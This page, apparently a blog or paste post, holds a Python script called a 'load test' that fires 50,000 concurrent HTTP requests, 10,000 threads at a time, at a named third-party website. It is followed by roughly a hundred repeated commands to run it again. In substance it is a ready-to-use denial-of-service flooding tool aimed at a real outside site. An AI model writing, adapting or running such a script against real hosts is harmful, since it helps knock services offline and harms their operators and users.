Pc

import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
from tqdm import tqdm
import time

# Configuration
url = "https://hdhub4u.do"  # Target URL
total_requests = 50000
concurrent_requests = 10000

headers = {
    "User-Agent": "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Mobile Safari/537.36"
}

success_count = 0
failure_count = 0
response_times = []

def send_request():
    start = time.time()
    try:
        response = requests.get(url, headers=headers, timeout=5)
        elapsed = time.time() - start
        if response.status_code == 200:
            return True, elapsed
        else:
            return False, elapsed
    except:
        return False, 0

def main():
    global success_count, failure_count

    print(f"šŸ”« Load Test Starting: {total_requests} requests to {url}")
    with ThreadPoolExecutor(max_workers=concurrent_requests) as executor:
        futures = [executor.submit(send_request) for _ in range(total_requests)]
        for future in tqdm(as_completed(futures), total=total_requests):
            success, rt = future.result()
            if success:
                success_count += 1
            else:
                failure_count += 1
            response_times.append(rt)

    avg_time = sum(response_times) / len(response_times) if response_times else 0
    print("\nšŸ“Š Load Test Summary")
    print(f"āœ… Success: {success_count}")
    print(f"āŒ Failed: {failure_count}")
    print(f"ā±ļø Average Response Time: {avg_time:.2f} seconds")

if __name__ == "__main__":
    main()
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py
python3 load_test.py

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top